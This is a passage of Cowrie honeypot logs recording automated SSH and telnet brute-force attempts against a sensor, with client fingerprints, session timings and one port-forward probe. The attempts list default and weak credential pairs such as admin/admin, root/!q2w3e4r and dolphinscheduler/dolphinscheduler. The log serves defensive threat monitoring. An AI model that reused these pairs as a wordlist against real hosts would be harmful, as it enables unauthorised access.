{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.403803Z","src_ip":"45.153.34.112","session":"fd4df94a0433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.19699168205261,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.429010Z","src_ip":"192.119.13.58","session":"fea8cb093fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37640,"dst_ip":"10.17.0.5","dst_port":23,"session":"471db502330b","protocol":"telnet","message":"New connection: 192.119.13.58:37640 (10.17.0.5:23) [session: 471db502330b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.470658Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!q2w3e4r","message":"login attempt [root/!q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.490704Z","src_ip":"43.153.112.253","session":"88b71e3405b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty22","message":"login attempt [root/qwerty22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.501726Z","src_ip":"103.183.114.55","session":"5c400a79e941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:17.817466Z","src_ip":"45.153.34.112","session":"fd4df94a0433","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:18.563109Z","src_ip":"43.153.112.253","session":"88b71e3405b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:18.726218Z","src_ip":"103.183.114.55","session":"5c400a79e941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:18.903154Z","src_ip":"45.153.34.112","session":"fd4df94a0433","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.175.218","src_port":47468,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d751c78b4a2","protocol":"ssh","message":"New connection: 43.134.175.218:47468 (10.17.0.5:22) [session: 0d751c78b4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:18.938519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:18.947637Z","src_ip":"43.134.175.218","session":"0d751c78b4a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:19.186353Z","src_ip":"43.134.175.218","session":"0d751c78b4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":46822,"dst_ip":"159.203.135.109","dst_port":22,"session":"09ad0fb6456a","protocol":"ssh","message":"New connection: 62.133.63.178:46822 (159.203.135.109:22) [session: 09ad0fb6456a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:19.237740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:19.242751Z","src_ip":"62.133.63.178","session":"09ad0fb6456a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:19.360964Z","src_ip":"62.133.63.178","session":"09ad0fb6456a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"258456","message":"login attempt [root/258456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:19.716011Z","src_ip":"62.133.63.178","session":"09ad0fb6456a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dick","message":"login attempt [root/dick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:20.171170Z","src_ip":"43.134.175.218","session":"0d751c78b4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41330,"dst_ip":"10.17.0.5","dst_port":22,"session":"7034b8fda285","protocol":"ssh","message":"New connection: 87.251.64.176:41330 (10.17.0.5:22) [session: 7034b8fda285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:20.763124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:20.768775Z","src_ip":"87.251.64.176","session":"7034b8fda285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:20.836555Z","src_ip":"62.133.63.178","session":"09ad0fb6456a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:20.865453Z","src_ip":"87.251.64.176","session":"7034b8fda285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33980,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aa7ac7e9e3c","protocol":"ssh","message":"New connection: 45.153.34.112:33980 (10.17.0.5:22) [session: 2aa7ac7e9e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:20.963574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:20.969186Z","src_ip":"45.153.34.112","session":"2aa7ac7e9e3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.054375Z","src_ip":"45.153.34.112","session":"2aa7ac7e9e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51934,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a9b9a67d0c","protocol":"telnet","message":"New connection: 192.119.13.58:51934 (10.17.0.5:23) [session: 68a9b9a67d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.071229Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.164115Z","src_ip":"87.251.64.176","session":"7034b8fda285","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.263617Z","session":"7034b8fda285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.301414Z","src_ip":"45.153.34.112","session":"2aa7ac7e9e3c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.361578Z","src_ip":"87.251.64.176","session":"7034b8fda285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.441095Z","src_ip":"43.134.175.218","session":"0d751c78b4a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:21.624986Z","src_ip":"87.251.64.176","session":"7034b8fda285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:22.388271Z","src_ip":"45.153.34.112","session":"2aa7ac7e9e3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33570,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd96ede8d5c","protocol":"telnet","message":"New connection: 192.119.13.58:33570 (10.17.0.5:23) [session: cbd96ede8d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:23.396367Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34002,"dst_ip":"10.17.0.5","dst_port":22,"session":"707d1df29d2a","protocol":"ssh","message":"New connection: 45.153.34.112:34002 (10.17.0.5:22) [session: 707d1df29d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:24.347106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:24.352103Z","src_ip":"45.153.34.112","session":"707d1df29d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:24.434651Z","src_ip":"45.153.34.112","session":"707d1df29d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38586,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba1568467695","protocol":"telnet","message":"New connection: 192.119.13.58:38586 (10.17.0.5:23) [session: ba1568467695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:24.649136Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:24.682552Z","src_ip":"45.153.34.112","session":"707d1df29d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:25.771378Z","src_ip":"45.153.34.112","session":"707d1df29d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.037306785583496,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:27.361103Z","src_ip":"192.119.13.58","session":"bc3d4ebe845f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.8632404804229736,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:27.512247Z","src_ip":"192.119.13.58","session":"ba1568467695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34020,"dst_ip":"10.17.0.5","dst_port":22,"session":"a210178e3f0c","protocol":"ssh","message":"New connection: 45.153.34.112:34020 (10.17.0.5:22) [session: a210178e3f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:27.827567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:27.858435Z","src_ip":"45.153.34.112","session":"a210178e3f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":35298,"dst_ip":"159.203.135.109","dst_port":22,"session":"b26ab1acdf74","protocol":"ssh","message":"New connection: 116.110.11.66:35298 (159.203.135.109:22) [session: b26ab1acdf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:27.862717Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:27.910312Z","src_ip":"45.153.34.112","session":"a210178e3f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:28.229302Z","src_ip":"45.153.34.112","session":"a210178e3f0c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:28.273158Z","src_ip":"116.110.11.66","session":"b26ab1acdf74","protocol":"ssh"}
